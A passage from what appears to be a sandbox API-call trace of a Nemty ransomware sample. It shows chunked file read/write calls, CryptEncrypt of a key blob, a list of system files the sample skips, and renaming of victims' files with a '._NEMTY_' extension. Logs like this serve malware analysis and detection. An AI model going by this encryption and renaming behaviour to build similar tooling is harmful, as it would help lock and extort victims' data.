lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.713] CloseHandle (hObject=0xffffffff) returned 0 [0166.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0166.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0166.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0166.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0166.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0166.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-new.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-new.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-new.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-new.png._nemty_kgobjgd_")) returned 0 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.714] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3130133f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ae6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0166.714] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2=".") returned 1 [0166.714] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="..") returned 1 [0166.714] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="...") returned 1 [0166.714] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="windows") returned -1 [0166.714] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0166.714] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="rsa") returned 1 [0166.714] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="ntldr") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="bootmgr") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="programdata") returned 1 [0166.715] lstrcmpiW (lpString1="undocked_black_moon-new_partly-cloudy.png", lpString2="appdata") returned 1 [0166.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400d0 [0166.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0166.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x6345608, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 41 [0166.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340138 [0166.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0166.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x6345608, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 41 [0166.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340138 | out: hHeap=0x4f90000) returned 1 [0166.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400d0 [0166.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0166.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x6345608, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 41 [0166.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400d0 [0166.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0166.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0166.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-new_partly-cloudy.png", cchWideChar=41, lpMultiByteStr=0x6345640, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 41 [0166.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63400d0 [0166.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0166.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63401b8 [0166.716] Sleep (dwMilliseconds=0x5) [0166.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1706acb0, dwHighDateTime=0x1d561e8)) [0166.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1706acb0, dwHighDateTime=0x1d561e8)) [0166.731] GetLastError () returned 0x5 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.731] GetLastError () returned 0x5 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.731] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.731] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.731] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a0 [0166.731] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a0, pcchString=0x653e91c | out: pszString="XkwZJb9+p1thFPne8wgDmTBKcEjAQRkEalos/3/+Ulwh3HE7rIpa9UfBJASJU9Hd\r\njDm33aUxANYUX0+Pw1myw5Ry+Sd2Rsyk23vRZWDobVCQ6OuTbjRWY52TktFCm/mk\r\nFaZumOhA+k7iTKnD9Y+So9FL9l75vRWWF8XMC41P37pkKUu/fu2evBatIKSFTnNt\r\nu3poOHkHrIXktzEeobIdX9MTbPgTqtdA8fpCC+lOaxMETy/3l5fmfZytvNLyAuR7\r\ngtN05ood9ymT231i8Ax371X/8qEWY6NOk9PgyD95fJxvucq1+IHCfubvL/3mVMu8\r\n2te2iha1SLavds9T2ApUIA==\r\n", pcchString=0x653e91c) returned 1 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0166.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a0 [0166.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.731] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-new_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-new_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.732] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 